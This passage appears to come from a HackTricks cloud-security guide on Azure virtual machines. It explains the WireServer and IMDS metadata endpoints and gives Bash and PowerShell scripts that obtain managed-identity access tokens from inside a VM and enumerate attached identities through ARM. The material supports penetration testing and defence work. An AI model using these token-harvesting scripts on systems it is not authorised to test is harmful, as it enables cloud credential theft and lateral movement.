- VM extensions and Run Command commonly execute as `root`/`SYSTEM` through the VM Agent, so they may bypass local OS restrictions that affect an interactive user.
- Some data is agent/extension-specific and may depend on the VM's provisioning state, installed agent, configured extensions, or managed identity configuration.

Therefore, if a request works from Run Command but fails from SSH, the usual explanation is a difference in OS user, environment, routing, proxy, firewall, or namespace, not a general Azure rule that only agent execution contexts can reach `168.63.129.16`.

In lab testing this distinction was visible: Linux/Windows VM Agent execution through Run Command or Custom Script extensions could reach GoalState on `168.63.129.16`, while a normal SSH session on another Linux VM could still reach IMDS but timed out when querying GoalState. Treat WireServer/GoalState as useful but environment-dependent; do not rely on it as the canonical way to enumerate managed identities.

### Managed Identity Access From Inside the VM

The reliable way to use a VM's managed identities is the **IMDS managed identity endpoint** at `169.254.169.254`, not the WireServer `ExtensionsConfig` XML. Scripts that only search `ExtensionsConfig` for `UserAssignedIdentity` nodes are not reliable because:

- The VM's managed identity assignment is not guaranteed to be represented as `UserAssignedIdentity` nodes in extension XML.
- They miss **system-assigned managed identities**.
- They only find user-assigned identities if the current GoalState/extension data happens to expose the expected XML shape.

Microsoft's documented security model is that **all code running on the VM can request tokens for the managed identities available on that VM**. This was confirmed from:

- Linux SSH as a regular VM user.
- Linux Run Command through the VM Agent.
- Linux Custom Script extension through the VM Agent.
- Windows Custom Script extension as `NT AUTHORITY\SYSTEM`.

In all of those contexts, IMDS could mint tokens for Management, Microsoft Graph/Entra ID, Key Vault, and Storage when the requested identity was available to the VM.

There are two different problems that are easy to mix up:

- **Getting a token for a known identity:** If the identity is assigned to the VM, IMDS can issue tokens for different audiences such as `https://management.azure.com/`, `https://graph.microsoft.com/`, `https://vault.azure.net`, and `https://storage.azure.com/`. If several user-assigned identities exist, request a specific one with `client_id`, `object_id`, or `msi_res_id`.
- **Discovering every attached identity from inside the VM:** IMDS does not provide a simple "list all identities" endpoint. A practical method is to get a default Management token, read the VM resource through ARM, and inspect the `identity` property. This only works if that managed identity has permissions such as `Microsoft.Compute/virtualMachines/read` on the VM. If ARM returns `403`, the token can still be valid and useful, but it cannot enumerate the VM's full identity list.

If ARM discovery fails, you can still try WireServer/HostGAPlugin sources such as GoalState and `http://168.63.129.16:32526/vmSettings` to look for identity-looking fields (`clientId`, `IdentityClientId`, `msi_res_id`, user-assigned identity resource IDs) and then ask IMDS for tokens with those selectors. This is a fallback, not a guarantee: those endpoints are context-dependent and may expose no managed identity selectors at all.

The following examples first request a token. Then they try to read the VM resource from Azure Resource Manager and print its `identity` property. The second step only works if the managed identity has permissions such as `Microsoft.Compute/virtualMachines/read` on the VM.

{{#tabs }}
{{#tab name="Linux" }}

```bash
#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
  python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
  token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
  TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
    if key in claims:
        print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
  COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
  VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
  echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
```

{{#endtab }}

{{#tab name="Windows" }}

```powershell
$imds = "http://169.254.169.254/metadata"
$apiVersion = "2021-02-01"
$resource = "https://management.azure.com/"

# Optional. Examples:
#   $env:MSI_SELECTOR = "client_id=<client-id>"
#   $env:MSI_SELECTOR = "object_id=<principal-id>"
#   $env:MSI_SELECTOR = "msi_res_id=/subscriptions/.../userAssignedIdentities/name"
$selector = $env:MSI_SELECTOR

function Invoke-Imds {
    param([string]$Uri)

    $params = @{
        Method = "GET"
        Uri = $Uri
        Headers = @{ Metadata = "true" }
        UseBasicParsing = $true
    }
    if ((Get-Command Invoke-RestMethod).Parameters.ContainsKey("NoProxy")) {
        $params.NoProxy = $true
    }
    Invoke-RestMethod @params
}

function Decode-JwtPayload {
    param([string]$Token)

    $payload = $Token.Split(".")[1].Replace("-", "+").Replace("_", "/")
    switch ($payload.Length % 4) {
        2 { $payload += "==" }
        3 { $payload += "=" }
    }
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json
}

$encodedResource = [uri]::EscapeDataString($resource)
$tokenUri = "$imds/identity/oauth2/token?api-version=$apiVersion&resource=$encodedResource"
if ($selector) {
    $tokenUri = "$tokenUri&$selector"
}

Write-Host "[*] Requesting managed identity token for: $resource"
$tokenResponse = Invoke-Imds -Uri $tokenUri
$claims = Decode-JwtPayload -Token $tokenResponse.access_token

Write-Host "[+] Token acquired"
$claims | Select-Object tid, appid, oid, xms_mirid | Format-List

Write-Host "[*] Trying to read the VM identity property through ARM..."
$compute = Invoke-Imds -Uri "$imds/instance/compute?api-version=$apiVersion"
$armUri = "https://management.azure.com$($compute.resourceId)?api-version=2024-07-01"

try {
    $vm = Invoke-RestMethod -Method GET -Uri $armUri -Headers @{ Authorization = "Bearer $($tokenResponse.access_token)" } -UseBasicParsing
    $vm.identity | ConvertTo-Json -Depth 20
} catch {
    Write-Host "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
}
```

{{#endtab }}
{{#endtabs }}


## Privilege Escalation

{{#ref}}
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}

## Unauthenticated Access

{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}

## Post Exploitation

{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}

## Persistence

{{#ref}}
../../az-persistence/az-vms-persistence.md
{{#endref}}

## References

- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
- [https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)
- [https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16](https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent](https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/run-command](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux)
- [https://www.cybercx.com.au/blog/azure-ssrf-metadata/](https://www.cybercx.com.au/blog/azure-ssrf-metadata/)

{{#include ../../../../banners/hacktricks-training.md}}
